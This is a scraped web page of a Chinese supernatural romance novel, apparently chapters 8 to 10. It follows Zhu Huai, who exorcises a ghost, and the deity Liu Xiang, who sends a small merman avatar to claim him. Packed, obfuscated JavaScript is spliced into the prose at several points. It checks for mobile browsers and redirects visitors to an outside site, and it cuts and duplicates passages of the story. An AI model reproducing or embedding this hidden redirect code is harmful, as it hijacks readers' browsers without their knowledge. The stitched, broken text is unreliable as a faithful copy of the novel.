殷泉说:“我让你准备好的白玉呢?玉属中性,阴阳结合,是制作法器的好材料。 同时也可以吸收阴阳之气,玉可养人,也可成为害人的利器……总而言之,越纯的玉越好吃。” 前面的话听上去还有些玄学,但最后一句却隐约有些不对劲。 殷泉说:“你手上的这块玉看上去就很好吃……” 难怪殷泉可以直接挑选出诸淮需要的好玉来,原来它是以食客的视角去挑选的! 诸淮低声念出一段咒语,又取出一张符咒贴在季嫣的身上,他挤出季嫣的一滴指尖血滴在白玉上,将其贴在季嫣的脚踝处。 整个过程都显得格外神秘,在季嫣不可置信的目光下,她身上的符咒发出了莫名的光华,像是渐渐逼出了什么东西。 她脚踝上的那个手掌印如活物一般扭动起来,似乎显得很不舒服。 白玉上的一滴血隐隐勾引着它,再加上那道符咒在渐渐燃烧,那些黑气极不情愿地扭动着,最终还是挣脱了出来,挤进了那一块白玉之中。 诸淮掌心发凉,用几张符咒将其包裹起来。 在他眼中,白玉散发出的力量慢慢变得浑浊青黑,自身的属性也迅速地产生了转变。 诸淮将其收了起来,他看向季嫣,就看见她试探性地抬起腿,原本肿胀到无法行走的小腿,居然恢复了知觉! “大师,谢谢你救了我。” 季嫣感动的几乎落泪了,亲眼见到这一幕,她只感觉死里逃生。 诸淮抚摸着手里的白玉,像是在观察新到手的玩具,他说:“不用谢,毕竟你付了钱的。” 季嫣还想要说些什么,诸淮却转移话题,他询问道:“我听说白安也在这家医院,他现在的情况怎么样?” 季嫣眼中迅速划过一丝厌恶:“他的情况已经稳定下来,那女鬼没弄死他。” 对方虽然还活着,但现在的情况肯定是比死还难受,诸淮担心的是女鬼有没有离开。 但不幸的是,女鬼还在白安的病房内折磨着他的灵魂,只可惜白安现在确实是爬不起来了,而这一次的目标有那么多个,它却只吸走了一个人的生命力…… 想到这里,女鬼的眼中便迅速划过一丝恶意,它忽然嗅闻到一丝熟悉的味道。 女鬼藏匿在黑暗中缓缓向着诸淮的方向游去,在它的眼中,诸淮身上散发出的气息是最为突出,也最为吸引人的。 如果说其他人是一块小甜点,那么诸淮的生命力对所有恶鬼来说,便是一道大餐。 女鬼死死地盯着他,像是在犹豫着什么,诸淮察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在女鬼即将抱住诸淮的那一刻,女鬼的身影却忽的僵在半空,像是被什么极其恐怖的东西控制住。 诸淮低下头,在他的眼中,他的身上忽然延伸出了一条条柔软的柳枝。 那些柳枝在他的肌肤上展开,就那样慢条斯理地圈住自己的猎物,接着将锋利的一端对准其他侵略自己领地的入侵者。 ‘他身上所有的一切……都是我的。’ 那些柔韧的枝蔓像是被激活了一般,一圈圈地伸展开来,捅进了女鬼的体内,恶鬼发出痛苦的声音,它在魂飞魄散的最后一刻望着诸淮,眼中满是不甘,满是痛苦。 就像是在对诸淮说:‘你为什么要逼我?’人类真是太可怕了。 恶鬼觉得诸淮就是在钓鱼执法。 一阵令人不安的撕裂声后,恶鬼化为一团黑气消散,一个没有双腿的小人偶落在地上。 解决完不长眼的东西后,那些柳枝慢慢收回,又重新栖息在诸淮的身上,像是无害的纹身。 诸淮眼睁睁地看着这一幕,他有些后怕,当然也有些惊愕。 诸淮犹豫了一瞬,他捡起那个人偶,回想着刚刚的柳条,诸淮低声念出一个名字:“柳相。” 柳家祖宅内,一位位仆从低着头在寂静的大殿内走过,整个祖宅极其压抑,安静的只有淡淡的呼吸声。 此地的家仆都不敢抬起头,甚至不敢望向某个方向,就仿佛那里有着极恐怖的东西,是不敢去接触,甚至不能去讨论的禁忌。 一个一头黑发,身高极为骇人的庞然大物躺在宽大的棺材里,他像是听见了什么,缓缓从棺内伸出一只修长的手。 那只手形状优美,五指修长,薄薄的肌肤不透血色,骨节分明的手指强而有力,像是可以轻易地扼断一个人的喉咙。 一道身影如苏醒的恶鬼般慢慢抬起头,他长如绸缎的黑发如幕布般滑落而下,露出一张精致完美,泛着古典气息的美丽面孔。 他暗金色的眼眸轻轻眨了眨,在他睁开眼的那一瞬间,整个祖宅似乎都隐隐颤栗起来。 “不应该啊,祭神大人不应该这个时候醒来!” “是谁唤醒了祂?快,快去请柳遥大人!” “不可喧哗!不可扰乱祖宅清净。” 很吵。 这道身影想着,他缓缓握紧手掌,每一丝动作间都透出恐怖到极点的力量。 想杀了所有人,嗯,应该杀了他们。 但是不行。 男人松开手,这样做有人会不高兴,但是那个人是谁呢? 想不起来了。 但那个人不高兴,和他自己不高兴比起来更重要一点吗?祭神皱起眉,他似乎在思索着什么,想不通自己为什么会失忆。 就好像他似乎重生了,应该去寻找某个很重要的人……但他却什么都不记得了。 这种感觉让他不快。 祭神柳相继续思索着,忽然间,他像是终于意识到了什么,男人伸出手指,慢悠悠地挖开了自己的胸膛,像拉链一般,用惨白的十指撕扯自己的肌肤。 他的胸膛空空荡荡,五脏六腑消失不见,居然宛如中空的陶瓷一般,什么也不剩下。 哦,原来是他的五脏六腑消失了,失去了心脏,他也确实记不起来那些东西。 柳相慢吞吞地在祖宅里翻了翻,从水里挖出一个大罐子,柳相将其打开,一个小小的人偶忽然爬了出来,长着一张和他一模一样的脸,对着他呸了一声。 这是他的肾。 柳相想着,他也懒得再去找其他东西,柳相的气质典雅漂亮,却透着一股不正常的阴冷。 他捧着手里的罐子想,那个人是谁呢?很重要啊……就好像必须得找到对方似的,如果不找到的话,或许会让他很不高兴。 但他并不能离开祖宅,柳相思索了一瞬后,拎起那个小小的人偶,就像是拎起一只小猫崽似的——将自己的肾脏直接扔了出去。 那个人偶在水里游动着,很快便消失不见,朝着某个方向冲去了。 这样应该就能找到了吧? 柳相想着,他坐到自己的梨花木椅上,垂眸沉思着,仿佛一尊凝固的华美雕像,祖宅内的仆从都知道他在这里,却没有任何一个人敢来打扰他。 9.老婆我来了 诸淮看着自己手中的皮偶,这东西是演绎皮影戏的道具。 这是一个制作十分精细的小皮偶,薄薄一张宛若牛皮纸,脸上的表情与皮偶的姿态却极其生动,仿佛将女鬼直接制成了这个小人似的。 它满头黑发,长发下的脸浮肿发白,诸淮和那双眼睛对视时,仿佛还能够看见它某种怨恨的情绪。 是柳相帮了他?又将这个恶鬼制成了皮偶? 看着手里的东西,诸淮却回想起了上辈子曾经发生过的事。 在柳家祖宅的生活十分无趣,前两年的诸淮甚至还没有拉起网线,失去网络,他的手机就是一个板砖。 除去照料柳相以外,诸淮居然没有其他娱乐生活,也不能轻易离开祖宅,他和柳相一样,都成为了被封存在那个大宅中的囚徒。 但人活着总是要给自己的生活找点乐子的。 也算是托了柳相的福,在那座柳家祖宅里,诸淮所能享受到的一切待遇,都是供奉祭神的最高档次。 除去不能离开祖宅,必须伺候好柳相以外,他想做什么几乎都无人过问,又或者说是不敢干涉。 即使吃的用的都是山珍海味,奢华顶配,但再好的东西吃多了也会感到厌烦。 诸淮不知道柳相是如何渡过那漫长孤寂的时光的,就算是诸淮这样喜欢安静的性格,也有些觉得无聊了。 于是柳相便为诸淮准备了一场皮影戏。 天色极暗,窗外的月亮像一轮模糊的白炽灯,诸淮坐在柳相身边,周遭的桌椅都隐没在黑暗中被吞没了颜色。 无论是暗红色的黄花梨木椅,还是头顶雕梁画栋的精致装饰,以及色彩鲜艳的壁画,都在一瞬间失去了色彩。 诸淮的面前只放着一张大桌子,影窗上撑起一张白纸,幕布后点燃着明亮的油灯。 他是第一次看皮影戏,诸淮并不知晓具体的演绎方式,但也知道柳宅是不允许进外人的。 就算是祖宅内的仆从都不得擅自闯入其中,大殿内只有他和柳相两个人,那皮影戏应该由谁来做戏? 柳相还好端端地坐在那里,就在这个时候,一串悦耳的歌声响起,白纸后竟然钻出了几个小人,在诸淮的面前演起戏来! 他们的动作栩栩如生,活灵活现,白纸后没有人影,只有几张薄薄的皮偶在旁若无人地活动。 柳相在一旁淡淡地看着,视线一直落在诸淮身上。 演到一半时,诸淮实在忍不住好奇心。 他询问道:“这些皮偶演得好生动,脸上的表情和动作居然都能够有变化,是谁在后面操控它们吗?” 他说话的时候,旁白的歌声都停了下来,皮偶们微不可查地一动,就像是皮偶也在倾听他的话似的。 柳相用暗金色的眼瞳盯着他看,他的半张脸宛如恶鬼,狰狞至极,是无法愈合的创伤。 另外半张脸则透着非人的美,漂亮得宛如一尊被砸毁的观音像,恐怖与美在他的身上融合。 柳相将诸淮按下来,他的动作忽然一顿,察觉到诸淮的手指摸起来是暖的,手腕能一手抓住,柳相说:“这些皮偶都听我的命令,你喜欢吗?” “我叫他们天天演给你看。”柳相说。 听见柳相的话,那些皮偶没有什么反应,诸淮便说:“那多麻烦人,隔段时间看个新鲜还好,没必要费那么多功夫。” 柳相说:“它们在我手里也无用,再闲置下去,也就是个被当做垃圾扔掉的下场。” 诸淮说:“没必要吧,这些皮偶这么精致,扔掉怪可惜的。” 他们说话的时候,戏台上的皮偶似乎还对着诸淮眨了眨眼睛,可能是因为担心自己被丢掉,剩下的那段戏里,这些皮偶就演得更卖力了。 诸淮盯着这场戏看,旁白的歌声娓娓道来,为他讲述了一个故事。 曾经有一个家族供奉着一位强大的祭神,祭神受家族供奉,家族也受祭神庇佑。 但祸从天降,家族失去了作为支柱的祭神,剩下的族人也仿佛失去了所有庇护与福泽,迅速的衰败下去,眼看就要彻底消亡。 “一夫一妻诞一子,子承天佑,福泽深厚。” 在家族遇到困境最艰难的时期,族内却诞生了一位拥有成为祭神资质的孩子。 这原本是天大的喜事,但即使如此,这个孩子也不能迅速改变家族的现状。 活在痛苦与愤怒中的族人,需要一剂令家族重归繁华的强心剂。 为了重新振作家族,这个孩子的父母竟想出了一个办法。 他们将孩子镇压在祖宅中,将整个家族的运势压在他的身上。 他们又使用了一种罕见的奇术,将孩子的五脏取出,镇压在祖宅的五行大阵下,用紫薇困龙阵将其束缚起来。 这样一来,整个家族便可以在祭神的身上扎根,他们再也不用担心失去自己的支柱。 祭神的血肉与力量,将会化为连绵不绝的气运,庇护所有亲族,给予他们福泽…… 阵法成,家族兴,那旁边接着唱道,牺牲一人换来所有人的未来,是最值得的买卖。 “无耻!” 诸淮实在有些忍不住了,他看着其他皮偶按住一个小小的孩子,将对方的胸膛打开,又从其中取出心肝脾肺肾的场景,只感到一阵反胃。 他皱着眉,其他人甚至还在劝说对方:“这就是你的命,作为祭神,你本来就应该庇护这个家族。” 这冠冕堂皇的一番话让人听得恶心。 诸淮说:“这话是在骗自己吗?既然这么喜欢让别人牺牲,为什么不自己把自己挖了躺进大阵里,这些东西都是封建迷信的借口!” 诸淮十分生气:“都到了现在这个时候了,居然还有人相信这种东西去残害自己的孩子!” 听到他忿忿不平的话,柳相的眼珠转了一圈,最后还是没有把心里的话说出来:这些事情并不是现在发生的,而是百年前的旧事。 不过诸淮并未将戏中的主角和身边的柳相联系起来,毕竟,被挖了五脏的人又怎么可能活下来? 那个孩子不仅失去五脏,甚至还被镇压在祖宅中,一生都没有离开过那个地方,这听上去,倒确实和柳相的处境有些相似。 难道柳相想用这场戏和他说些什么? 诸淮还没来得及深思,就被之后的发展气得说不出话来,因为那些人不仅做了那些事情,在行凶的主要凶手中,还有那个孩子的父母。 “这都是什么人啊!这出戏后面不会还要演对方真的被毁掉了人生,永远困在祖宅里吧?” 诸淮察觉到不对劲了,他有些紧张地看向柳相,柳相若有所思地望着他,诸淮的反应让他觉得很有趣。 他反问道:“你不喜欢?” 诸淮心里发堵,他说:“我也不是不喜欢,就是不希望再发生更糟糕的事,我觉得主角应该过上更好的生活。” 柳相看着他认真的样子沉默了一瞬,片刻后,或许是觉得有趣,他点了点头,询问道:“那么你觉得之后会是什么发展呢?” “我也不知道……” 诸淮被他问得有些茫然起来,就好像他的话真的可以影响结局似的。 诸淮试探性地问道:“主角应该揭发了他们的所作所为,将这些人抓进监狱里,接着离开祖宅,过上了属于自己的生活。” 这算是一个诸淮心中的标准答案了。 柳相却说:“祂便是那个家族的神,祂的根在这里,毁灭这一切后,祂又能去哪里?” “纵使杀光了所有人,但祂也仍然会感到无趣,复仇的快乐只在成功的那一瞬间。 家族因祭神而繁荣,自然也因祂而衰败,这便是祂的束缚。 若失去了这些束缚,无拘无束,无亲无族,被困在祖宅中的怪物,会用更残暴的手段毁灭剩下的一切,毕竟,能够毁灭族人的存在,又还能剩下什么人性呢?” 柳相缓缓低下头,他的神情带笑,表情模糊:“你不担心亲手放出一个祸端吗?你不害怕祂做出更恐怖的事吗……” 让柳相想不到的是,诸淮听完他的话后,居然只是低头沉思了一会,接着抬起脸来对他认真说: “我不否认有这样的可能性发生,我也没有办法去劝阻受害者不去报复其他人,但我相信会有人阻止他的。” “有人?谁?你吗?” “如果是你遇到他,你会去帮助他,还是去阻止他呢?” 柳相仿佛化为杠精一般一个劲地追问,诸淮被他问得连连后退,被逼到角落里,对上那双暗金色的眼睛。 诸淮的呼吸都被柳相身上的香气所充斥,那人的表情宛如一张扭曲的面具,明明脸上在笑,眼中却无任何感情。 像被逼到绝境的猎物,诸淮必须要给柳相一个答案,他被困在柳相的黑发中,诸淮逃无可逃,最后只能说道:“会,我会的。” 他连呼吸都有些喘不上气,眼中只有柳相脸上模糊的表情,这是一个体型庞大,无法阻挡,也不可忤逆的凶兽。 诸淮被逼到极致,咬着牙说:“我会给他一个好的结局,没有人帮他那就我来帮他!” 他的眼神真挚,字字真心。 像是终于得到自己想要的答案,柳相扫了他一眼,终于退后一步。 诸淮心跳极快,手脚也莫名的颤,不知道面前这家伙究竟发的什么疯,搞什么啊,活像是要吃人一样。 诸淮抬起脸重新去看戏,却发现故事已经发生了变化,皮偶人的身边多了一个人。 对方来到了他的身边,似乎想要将他带走,但故事的结局,却是那个人跟他一起被困在了祖宅里。 诸淮看着这一幕,柳相的脸上露出满意的表情,他改变了戏剧的结局,但结果却并没有想象中那般完美,只是看他的样子,这个故事显然更符合柳相的胃口。 诸淮被面前这出妄图拯救恶龙却被恶龙吞噬的戏码弄得有些无语了。 他对柳相说:“你这个剧本是现改的吧,就不能弄得更符合现实一点吗……” 他这么说着,终究还是好奇皮偶人的操控方法,走到幕后,想要见见幕后的师傅。 但让他没有想到的是,戏台后空空荡荡,皮偶们一动不动,诸淮轻咦了一声,这到底是怎么做到的? 难道是最先进的机关和科技吗?还真是厉害…… 或许是桌子的下方有着什么机关,诸淮想着,他刚准备离开,却忽然发现不对劲。 在这一瞬间,所有的皮偶都朝着他的方向望了过来,似乎想要对他说些什么似的。 那一双双眼睛望向了他,一个皮偶忽然一动,从台上掉了下来。 诸淮将它捡起,却发现皮偶的触感诡异的细腻,令人惊恐的事情发生了,在这一刻,无人操控的皮偶却动了一下。 一个细细的声音对诸淮说:“救我,救我!” 刺耳的求救声灌入诸淮的耳中,台上的其他皮偶都在一瞬间暴动起来。 柳相缓缓起身,他高挑的身躯越过幕布走到诸淮面前,伸出手,将那个皮偶握在手中。 诸淮望向他,想要说皮偶在说话,又想询问这到底是怎么回事,这不是机关和玩具吗? 但对上那双暗金色的眼睛,诸淮却什么都说不出来。 柳相轻轻拍了拍他的肩膀:“你累了,去休息吧。” 诸淮转身离开,在他的身后,柳相握紧手,修长的五指间,那露出恐惧表情的皮偶被祂揉成一团,化为一滩碎屑飘落。 在那之后,诸淮没有再看过皮影戏。 他没有向柳相追问皮偶的来源以及那场戏的真正结局,他有种预感,那并不是什么美好的结局。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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嗖地一声,一道带着水汽的身影在空中划过,顺着那一丝熟悉的痕迹向着某个方向飞去。 他的动作敏捷,在空中如一道灵活的黑影闪过,普通人无法看见他行动时的姿态,而能够看见他的人又根本不敢出现在他面前。 这道身影身上的气息太恐怖了,是哪一位祭神,亦或是某个契灵的分身吗? 柳相肾脏所化的分身属水,常年被镇压在祖宅的湖底之中。 这是他有生以来第一次离开祖宅,分身与本体的视角共感,他所见到的一切,远在祖宅的柳相自然也可见到。 他摇摆着长长的鱼尾,形似鲛人,人身鱼尾,漆黑的鱼身上覆盖着细密的鳞片,宛如上好的黑玛瑙。 长长的鱼鳍宛如脱水的利刃,边缘划过锋利的锐芒,连看似最无害的鱼鳍都带着极恐怖的杀伤力。 在空中游曳而过的那一瞬间,五彩的光芒在他的鱼尾上绽放开来,又转瞬间变为破碎的气泡。 这漂亮的鲛人似乎在寻找着什么人,他宛如追逐着猎物,迫不及待要撕咬对方血肉的捕食者般嗅闻着那一丝气息而来,脸上是神经质的兴奋。 这漂亮的鲛人是海中最可怖的凶兽,只要是被其盯上的猎物,哪怕只遗漏了一丝血腥味,都会被其牢牢追捕,直至天涯海角都无法摆脱。 就要找到了! 那美味的气息近在咫尺,鲛人摇摆着鱼尾,躲在门后观察着房间内的那道身影,他一张嘴就吐出一个泡泡,用一双暗金色的眼眸死死盯着对方。 诸淮对此一无所知,但隐约间,一股被某种顶级捕食者盯上的感觉让他有些不安。 他就像是落入了什么怪物的眼中,是令对方垂涎欲滴,迫不及待想要占有的宝物。 诸淮皱起眉,有了经验的他立即做出了准备,诸淮环顾四周,终于在房门后看见一道鬼鬼祟祟的身影,而对方此刻也看见了他。 是他吗? 是他。 在望见诸淮的那一瞬间,柳相就有些控制不住,他从心底里生出一股强烈的喜悦感,长长的鱼尾更是激烈拍打起来。 柳相死死盯着诸淮的样子,光是看见诸淮的那一眼,那强烈的喜爱与贪婪就占据了他的大脑,让他只想要把面前的人掳回祖宅里,无论对方拒绝还是接受,他都要他留在他的身边。 这个人类是我的! 这个念头占据了鲛人小小的脑袋。 他盯着诸淮,终于从门后钻出来,朝着诸淮的方向冲去,来者不善! 诸淮的符咒也飞向了它,却被柳相一尾巴拍飞,他只来得及看见一道黑影朝着自己扑过来,然后就没有然后了。 “人类!” 一道悦耳如笙,却令诸淮熟悉到极点的声音响起,让他什么话都说不出来了,柳相,这是柳相的声音。 诸淮感到自己小腿一沉,他低下头,却无论如何都没有办法做出攻击的姿态。 先看看这家伙到底是什么东西,他往下看去,就看见一个宛如精致玩偶一般,长着鱼尾的鲛人正用力抱住他的小腿,尝试用鱼尾缠住他的脚踝。 他抬起脸对他说: “人类,跟我走吧!” 柳相对诸淮不容拒绝地说道:“我是来找你的,我要带你离开。” 一秒、两秒。 柳相说完这段话后却没有看见诸淮有任何反应,诸淮好像愣住了。 他摇了摇尾巴,松开手朝着诸淮的胸口飞过去,一只手却精准地抓住了他,并在空中晃动着他的身体。 柳相对上诸淮的黑眸,片刻后,他听见诸淮才像是终于回过神来一般对着他说:“……这是什么东西?” 诸淮:“你怎么会变成现在这幅样子?你、你这是怎么了?” 10.哭出珍珠就可以养家了 小鲛人的上半身只有巴掌大小,鱼尾却极长,近乎是身体的两倍有余,长长的尾鳍更是在空中曼动着掀起层层七彩的光泽。 他在空中摇晃着身子,表情冷冰冰的,透出一丝凶戾。 他穿着一身由鲛绡织成的黑衣,袖口与腰胯处还点缀着各色华美的珠宝,配上那张漂亮的小脸,看上去简直像是什么格外贵重的手办似的。 简直就像是家里的手办成精了一样,看见鲛人抿着嘴唇,有些不悦的表情,诸淮犹豫了一下,还是小心翼翼地将他捧在了手心里。 鲛人很快便灵活地爬到他的掌心,鱼尾立即用力缠住他的手腕,像抓住了自己的私有物似的,做完这一切后,他得意洋洋地抬起脸盯着他看。 半晌,鲛人一张嘴,便从嘴里吐出一句话:“人类,我好像在哪里见过你。” 诸淮看着这张熟悉的脸,他有一瞬间的恍惚,没有想到柳相会以这样的方式重新出现在他面前,也没有想过他会如此轻易地见到对方。 上一秒,他还在思考着和柳相的过往,忧虑是否应该重蹈覆辙,重新回到那压抑冰冷的柳家祖宅中,才能见到那位受困的祭神。 下一秒,这个漂亮的小鲛人便忽的出现在了他的面前。 说不惊讶那是在开玩笑,诸淮伸出手指戳了戳面前的小鲛人,直把他戳得眉头紧锁,在作死的边缘徘徊后,他才以一种惊叹的语气说道: “居然不是幻觉吗?怎么我刚刚想到你,你就直接冒出来了呢?” “你在想我?”柳相先是一愣,接着心中不由自主地流露出一丝欢喜。 就好像当柳相在寻找那个让他感到悸动的猎物时,被他追寻的猎物也在思念着他一般。 这短短的一句话,便让他体会到了一股前所未有的快乐,一股默契的快乐。 他的眼神变了,鲛人以虎视眈眈的目光望着面前的人类,对诸淮不容忤逆地说:“我来找你了,你的身上有我留下的契约,你是我的所有物。” 柳相的话听上去霸道蛮横,却如此理所当然。 他便是追随着这一抹契约的痕迹而来,当他来到人类的面前时,自灵魂内产生的呼唤如此清晰,使得他完全认清了面前的人。 他们便仿佛是两根缠绕在一起的藤蔓,彼此共生的双生树,是连灵魂都彼此相连,生与死都无法分离彼此的存在。 几乎是在见到诸淮的那一瞬间,柳相便知晓诸淮必须是祂的,他就应该留在祂的身边,那从灵魂中蕴生的占有欲,是无法以任何手段压制的渴望。 从见到诸淮的那一刻起,柳相就想要得到他。 又或者说,这种渴望发生在更久以前。 即使柳相现在记忆全无,五脏缺失,祂甚至无法感知到自己的心脏,却知道自己的灵魂都在为面前的人而颤栗。 所以,他如此直白地表现出了自己的渴望和贪婪,以契主与契妻的关系来说,与他签订契约的诸淮,也确确实实是他的所有物。 即使是以其他契灵的角度来看,都不得不承认柳相的所作所为是合情合理的。 既然已经签订了契约,那么为什么还要放任自己的契子留在自己无法触及的地方? 自古以来,这些强大的契灵对于自身伴侣的占有欲,都是众所皆知的残忍与霸道。 “契约,是指我身上的这些纹身吗?” 诸淮想到刚刚发生的事,他明白到底发生了什么。 是因为恶鬼袭击了他,惊动契约,导致柳相察觉到了不对劲,所以,面前的鲛人才急匆匆地赶了过来。 他捏了捏鲛人的尾巴,手感冰凉,没有什么滑腻的黏膜,反而更像是触及冰冷的玉石。 鲛人仍然死死缠着他的手腕,这霸道的模样让诸淮有些想笑,柳相没有阻止诸淮抚摸他的尾巴。 只有鲛人的伴侣才能抚摸他们的鱼尾,像这样大胆的触碰,不亚于面对面地求爱,而且还是最直接、最热情的求爱。 柳相的鱼尾颤了颤,他忍不住高兴地拍拍尾鳍。 他的伴侣热情又可爱,还与他签订了契约。 虽说柳相已经不记得发生了什么,但他却隐约能够想起面前的这个人曾经坐在他的腿上,蜷缩着身体趴在他的肩头,用湿漉漉的眼睛盯着他看。 那些场景一闪而过,却让柳相更加笃定自己的想法,他对诸淮越发满意,这简直就是一个最完美的,最符合他喜好的,乖巧又热情的妻子…… “你是我的契妻,我乃柳家祭神柳相,这是我的水相化身,虽然不知道你是谁,但作为我的妻子,你应该跟我回到柳家。” 柳相开口,他的声音像掀开一层厚重的帷幕,以深沉华美的旋律述说着一个个被时光淹没的故事。 鲛人之歌可以让人忘却烦恼与忧虑,而柳相的声音,则仿佛可以触及心灵,使人不由自主地追逐他声音中的一点喑哑,并为此沉醉。 诸淮的神经末梢似乎都被若有若无地挑逗着,这声音似乎可以挑起每个人心中最深沉的记忆,他的眼神却在这一瞬间变了。 诸淮说:“你不认识我?” “你不记得我,也不知道我是谁?” 诸淮的黑眸紧紧盯着面前的鲛人,在危机关头遇到熟悉之人而生出的一丝喜悦忽的被搅乱,柳相不记得他了。 而他之所以会来到这里,也只是因为契约的缘故。 诸淮说:“这误会可就大了,你都不认识我,但只要和你签订了契约,你就追在别人的屁股后面叫谁老婆吗?” 这么想着,他心中莫名地有些不快。 柳相颦起眉望着他,短短的一瞬间,面前的人好像就有些生气了。 柳相不知道发生了什么,却也敏锐地察觉到人类是在因何而不快,柳相说:“和我签订契约的那个人是你。” “是吗,可我也不知道这契约是怎么来的,我甚至不知道这是什么东西。” “这么说来,你不愿意跟我走?” 柳相的眉头松开,他的表情变得有点冷。 “我不认识你,你也不认识我,我为什么要跟你走?” 诸淮也不摸他的尾巴了,和柳相保持着一段距离,盯着他看。 伴侣身上温暖的气息消散了,变得尖牙利嘴,尤其难缠,听到他的话,柳相缓缓眯起眼睛,他忽然说: “你骗我。” “你认识我,你知道我是谁。” 柳相说:“见到我的时候,你叫了我的名字,你就是我的契妻。” “你就是这样见谁都叫老婆的吗?真不要脸,我才不要跟你走。” 说完,诸淮面无表情地扯了扯嘴巴,竟是当场翻脸不认人。 柳相被气得鱼尾都要绷直了,一条鱼直挺挺地飘着,暗金色的眸子睁大了些,气得快要当场断气。 他真想就这样把面前的人类直接抓回去,然而诸淮却像是精准地猜到了他的想法似的。 纵使诸淮垂着眼睛不看他,却用眼角的余光扫到了他的样子,顿时,诸淮叹了口气。 他自言自语道:“连我的名字都不记得,可见你也不是真心想来找我的。” 他这么说着,脸上的笑意也淡了,眉头低垂,更是隐约透出一丝难过的意味来。 鲛人本是自私自利,专横独断的生物,见到喜欢的人或物,是一定要将其掳回深海中去的。 但见到诸淮的这幅模样,柳相的心揪成一团,诸淮再看他一眼,又长吁短叹,黑眼珠子像是浸在水中一般,渗出莹亮的光芒。 他刚刚露出这副表情,柳相霸道扭曲的恶劣想法就仿佛被无形的刀刃所伤,一瞬间散了个干净,在这幅样子的诸淮面前毫无反击之力。 难道他真的遗忘了什么很重要的东西?他忘记了自己伴侣的名字? 柳相深深地望着面前的诸淮,脑中一片空白,他的胸膛空空荡荡,坐在祖宅之中的本体挖开自己的血肉,却只能看见苍白的白骨,找不出任何有用的东西来。 他突然开始有些痛恨起自己,他怎么能如此的无能?连最重要的东西都弄丢了? 他将手指插入胸膛里用力翻找,血从其中溢出,却翻不出一颗有用的心。 他没有办法回答诸淮的话,整个人宛若呆滞的雕塑,就那样直挺挺地站在寂冷的大殿中,伤口里尽是剖出的黑血。 柳相暗金色的竖瞳眨动着,远在祖宅之外,沉默了好一会的鲛人忽的瞪大眼睛,一连串的珍珠从他的眼角流淌下来。 诸淮:“诶,诶?” 柳相内脏所化的化身与本体的性格有些许差异。 此时此刻,他的本体站在祖宅之中,以他为中心蔓延开来的层层漆黑浓雾仿佛一张足以撕碎虚空的大嘴,正张开层层狰狞的獠牙,将周遭的一切慢慢吞没。 整个祖宅都被这股浓雾迅速覆盖,在其中走动的仆从望见这一幕被骇得大叫,而首遭其难的,便是那些被熔炼为皮偶,灵魂和自由化为玩物的恶鬼。 摆放着珍奇珠宝,亦或是奢华玩物的库房里掀起阵阵狂啸,透过烛火,皮偶们瑟瑟发抖,或跳动尖叫,跪地求饶的身影宛若幕台上的大戏。 这么多年在恐惧中度过的日日夜夜,早就磨去了这些恶鬼原有的桀骜,以至于面对柳相的愤怒,它们也只能做出这样不堪的举动来。 而在诸淮面前,小鲛人则是扑到他的面前,被逼到极点又答不上来,让他恨不得一口将诸淮吞进肚子里关好,这样就不用担心他离开了。 鲛人急得跳脚,一怒之下便扑到诸淮身上凶狠地说:“我不管,你就是我的,你是我的妻子!” 一颗颗圆润的珍珠滚落从他的眼角滚落,鲛人泪坠落成珠,掷地有声。诸淮低下头看着胸前的一大团东西,他忽然没那么生气了。 “你真想不起来,还是压根不认识我?”诸淮说。 “我的五脏丢了四脏,最重要的记忆都在心脏里,我失去了很多记忆,只隐约记得我应该去找一个人,那个人就是你。” 鲛人抬起脸看着他,暗金色的眼眸中透着一丝厉色:“等我把其他四脏都找回来,我就一定能想起来究竟发生了什么?” “原来你不是故意的。” 诸淮有点心疼他,他伸出手将鲛人抱起来,捡起一颗滚落的珍珠,发现这一颗颗珍珠圆润细腻,白中透粉,颗颗精品。 这简直就是发家致富的新路子,柳相这么哭上一次,掉出来的珍珠都够诸淮吃一个月了。 同时,诸淮也认出了这条鱼的品种,黑尾鲛人。 但柳相从前没有这么爱哭啊,诸淮想。 又或者说,那家伙在诸淮心里从来都是一个喜怒难辨,需要诸淮不断揣摩心思的上位者,难道说变小了之后,他的脑子也会跟着小? 还是说,丢掉了内脏,他也会同时失去一点东西? 诸淮低下头看着他,他说:“既然是这样的话,那我就原谅你了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205904|180795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柳相缓缓眯起眼:“你还没答应跟我走。” “这不是一回事的东西。” 诸淮别开眼神:“你既然能够离开祖宅,又为什么要急着回去,你的内脏没了我会帮你找回来,既然这样,还不如你留在我身边。” 柳相不哭了,祖宅内的黑雾也被祂缓缓收回体内,本体重新坐回到木椅上,祂撑着脸,耳边的哭嚎和求饶声也都慢慢停了下来。 柳相一伸手,他的掌心就多了一个小小的皮偶颤抖着不断求饶,却被柳相一点点地撕碎。 皮偶一块块地飘落下去,柳相像是发泄一般撕碎对方的身躯,这惊悚又恶劣的一幕时常发生,折磨这些恶灵是柳相闲暇时的乐趣。 突然,祂睁大眼睛,脑中迅速划过一个名字:“诸淮。” 祂慢慢地咀嚼着这个名字,脸上终于重新露出了笑容,牙关轻咬,像是一寸寸地咀嚼着那个人…… 祂想起来了,想起来诸淮曾经躺在床上,对着祂不断祈求,含着怒音求饶。 “诸淮。” 鲛人忽然念出他的名字,诸淮微微一愣,看见面前的柳相露出一个笑:“我想起来了,这是你的名字。” 